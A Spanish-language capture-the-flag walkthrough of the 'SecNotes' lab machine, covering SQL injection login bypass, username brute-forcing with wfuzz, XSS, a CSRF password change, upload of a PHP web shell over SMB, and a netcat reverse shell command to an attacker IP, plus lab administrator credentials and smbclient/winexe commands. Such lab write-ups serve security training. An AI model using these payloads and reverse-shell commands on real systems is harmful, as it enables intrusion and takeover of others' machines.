Máquina SECNOTES_SQL
Haremos el reconocimiento con nmap como siempre, donde encontramos el puerto 80, 445 y 8808:
Como vemos que tiene abierto el puerto 445 y es una máquina Windows, podemos inspeccionarlo con crackmapexec y vemos que se trata de un Windows 10 Enterprise: Detectar dominio y hostname con crackmapexec
Y ahora con smbclient probamos en listar recursos compartidos haciendo uso de un null session, pero no encuentra nada:
En cuanto al puerto 80, vamos a ver con whatweb las características de la web:
Ahora vamos a acceder a la web:
Y si probamos en registrarnos como el usuario 'or 1=1– - veremos que esta web es vulnerable a una SQL injection:
Iniciamos sesión con el usuario 'or 1=1– - y accedemos a todas las notas:
Pero vamos a hacerlo de otra forma para aprender, ya que también podemos hacer un ataque de diccionario con wfuzz para probar muchos posibles usuarios dentro de un panel de login, por ejemplo en una web donde si pongo un usuario, me dice si existe o no en el sistema como en este caso:
Por tanto yo puedo probar con muchos usuarios a ver si en alguno me dice que sí existe este usuario, por lo que primero obtendremos el diccionario donde figuran muchos posibles usuarios:
Por tanto utilizando este diccionario, con WFUZZ podemos hacer estas comprobación de esta forma: WFUZZ
Pero así lo que ocurre es que me muestra cada uno de los intentos:
Por lo que con wfuzz, podemos decir que siempre y cuando el mensaje de error de la web sea el mismo, que no lo muestre; y que sólo nos muestre el usuario que genera un mensaje diferente en la web; usando el parámetro –hs: WFUZZ FUERZA BRUTA PANEL DE LOGIN CON WFUZZ
Y nos encuentra el usuario Tyler:
Y ahora si probamos en poner el usuario Tyler vemos que nos muestra que sí existe:
No obstante en esta web vamos a probar en registrarnos y en acceder:
Por tanto vamos a probar en crear una nota:
Y al crear la nota vamos a probar en ver si esta web es vulnerable a cross site scripting (XSS):
Y vemos que al guardar la nota se nos genera una ventana, indicando que esta web es vulnerable a XSS ya que nos ejecutó el código que inyectamos:
También podríamos verlo con una etiqueta HTML:
En este punto lo que podemos hacer es cambiar la contraseña del usuario Tyler aprovechándonos de la vulnerabilidad CSRF (Cross-site request forgery); y para ello debemos ver cómo se tramita la petición donde se puede cambiar la contraseña, por lo que vamos al menú de cambiar contraseña:
Interceptamos este cambio de contraseña con burp suite para ver cómo se tramita la petición:
Y para poder ver la petición donde cambiamos la contraseña en texto plano, cambiaremos esta petición a GET:
Y ahora ya vemos la petición con las credenciales:
Enviamos la petición dentro de la barra de navegación y vemos que se cambia la contraseña de nuestro usuario
Por tanto vemos que esta dirección es la que cambia una contraseña:
Llegados a este punto, si conseguimos que el usuario Tyler ejecute esta dirección, podremos cambiarle su contraseña, por lo que lo haremos dentro de la parte de contact us:
Y ahora si el usuario Tyler le hubiera hecho clic en ese enlace, se le habría cambiado su contraseña por la de 123123, por tanto vamos a probar en iniciar sesión con el usuario Tyler y con esta credencial, donde veremos que ha funcionado:
Y en esta parte vemos una contraseña:
Ya tenemos el usuario Tyler y la contraseña, por lo que vamos a validar que sean correctas con crakmapexec:
Y con smbmap veremos los recursos compartidos a nivel de red:
No obstante, con smbclient también podemos acceder al interior de un recurso compartido, por ejemplo de new-site, donde tenemos permisos de lectura y escritura: EJECUTAR COMANDOS CON SMBCLIENT
smbclient -U 'tyler%92g!mA8BGjOirkL%OG*&' //10.10.10.97/new-site
Y en este recurso compartido vamos primero a subir un código php malicioso, ya que la máquina vemos que funciona con php: Consideraciones Previas (Código PHP malicioso para ganar Reverse Shell)
Y ahora, dentro del puerto 8808, donde vemos que funciona con IIS (ya que lo vimos en el reporte de nmap), podemos intuir que si por este puerto intentamos acceder al cmd de php que acabamos de subir, tendremos ejecución remota de comandos:
Ahora vamos a compartir el binario de netcat y nos ganamos la reverse shell:
Y ahora con burpsuite podemos urlencodear el comando curl para que se baje el binario de netcat:
Compartimos el nv64.exe con la víctima:
Ahora que está todo listo, nos ponemos en escucha con netcat:
Y desde el navegador, ejecutamos el comando donde llamamos al binario de netcat y nos enviamos la reverse shell por el puerto 443:
http://10.10.10.97:8808/cmd.php?cmd=nc64.exe 10.10.16.10 443 -e cmd.exe
Y dentro del directorio de Tyler ya encontramos la flag de user.txt:
Y dentro de la carpeta de Tyler vemos un acceso directo a un bash:
Si hacemos un type para ver el contenido del fichero, vemos algo de bash.exe:
Pero dentro de esto, nos encontramos con una ruta donde se encuentra un ejecutable de bash.exe, lo que nos hace pensar que en este sistema corre un subsistema de linux:
Por tanto vamos a ejecutar esto y nos devuelve una consola de Linux como root:
Adquirimos un prompt:
En este subsistema, nos encontramos con el histórico de bash con el archivo .bash_history:
Por lo que vamos a inspeccionarlo para ver los comandos que se ejecutaron en esta parte, donde nos encontramos con las credenciales del usuario administrador:
Por tanto ahora ejecutamos ese comando de smbclient con las credenciales del usuario administrador:
smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$
Y vamos al directorio del usuario Administrator y descargamos la flag de root con el comando get root.txt:
Y ahora en nuestra máquina local ya tenemos la flag de root:
Y ahora si queremos entrar dentro de la máquina usando una shell, tenemos que usar winexe, pudiéndonos conectar a la máquina víctima mediante SMB:
winexe -U '.\administrator%u6!4ZwgwOM#^OBf#Nwnh' //10.10.10.97 cmd.exe

























































